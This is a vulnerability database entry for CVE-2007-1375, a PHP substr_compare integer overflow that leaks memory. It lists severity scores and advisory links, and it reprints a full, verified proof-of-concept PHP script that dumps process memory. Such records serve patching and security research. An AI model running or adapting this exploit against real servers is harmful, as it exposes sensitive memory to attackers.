CVE-2007-1375 : Detail

CVE-2007-1375

4.55%V3
Network
2007-03-09
23h00 +00:00
2017-10-09
22h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Integer overflow in the substr_compare function in PHP 5.2.1 and earlier allows context-dependent attackers to read sensitive memory via a large value in the length argument, a different vulnerability than CVE-2006-1991.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 3424

Publication date : 2007-03-06 23h00 +00:00
Author : Stefan Esser
EDB Verified : Yes

<?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // Proof of concept code from the Hardened-PHP Project // // (C) Copyright 2007 Stefan Esser // // // //////////////////////////////////////////////////////////////////////// // PHP 5 - substr_compare Information Leak Vulnerability // //////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion. die("REMOVE THIS LINE"); $sizeofHashtable = 39; $maxlong = 0x7fffffff; if (is_int($maxlong+1)) { $sizeofHashtable = 67; $maxlong = 0x7fffffffffffffff; } $memdump = str_repeat("A", 4096); for ($i=0; $i<40; $i++) $d[] = array(); unset($d[20]); $x = str_repeat("A", $sizeofHashtable); // If the libc memcmp leaks the information use it // otherwise we only get a case insensitive memdump $b = substr_compare(chr(65),chr(0),0,1,false) != 65; for ($i=0; $i<4096; $i++) { $y = substr_compare($x, chr(0), $i+1, $maxlong, $b); $Y = substr_compare($x, chr(1), $i+1, $maxlong, $b); if ($y-$Y == 1 || $Y-$y==1){ $y = chr($y); if ($b && strtoupper($y)!=$y) { if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) { $y = strtoupper($y); } } $memdump[$i] = $y; } else { $memdump[$i] = chr(0); } } echo "memdump\n---------\n\n"; for ($b=0; $b<strlen($memdump); $b+=16) { printf("%08x: ", $b); for ($i=0; $i<16; $i++) { printf ("%02x ", ord($memdump[$b+$i])); } for ($i=0; $i<16; $i++) { $c = ord($memdump[$b+$i]); if ($c >= 127 || $c < 32) { $c = ord("."); } printf ("%c", $c); } printf("\n"); } ?> # milw0rm.com [2007-03-07]

Products Mentioned

Configuraton 0

Php>>Php >> Version To (including) 5.2.1

References

http://www.osvdb.org/32780
Tags : vdb-entry, x_refsource_OSVDB
http://secunia.com/advisories/25056
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2007/dsa-1283
Tags : vendor-advisory, x_refsource_DEBIAN
http://secunia.com/advisories/24606
Tags : third-party-advisory, x_refsource_SECUNIA
https://www.exploit-db.com/exploits/3424
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/22851
Tags : vdb-entry, x_refsource_BID
http://security.gentoo.org/glsa/glsa-200703-21.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://secunia.com/advisories/25062
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/usn-455-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://us2.php.net/releases/5_2_2.php
Tags : x_refsource_CONFIRM
http://www.mandriva.com/security/advisories?name=MDKSA-2007:187
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/26895
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/25057
Tags : third-party-advisory, x_refsource_SECUNIA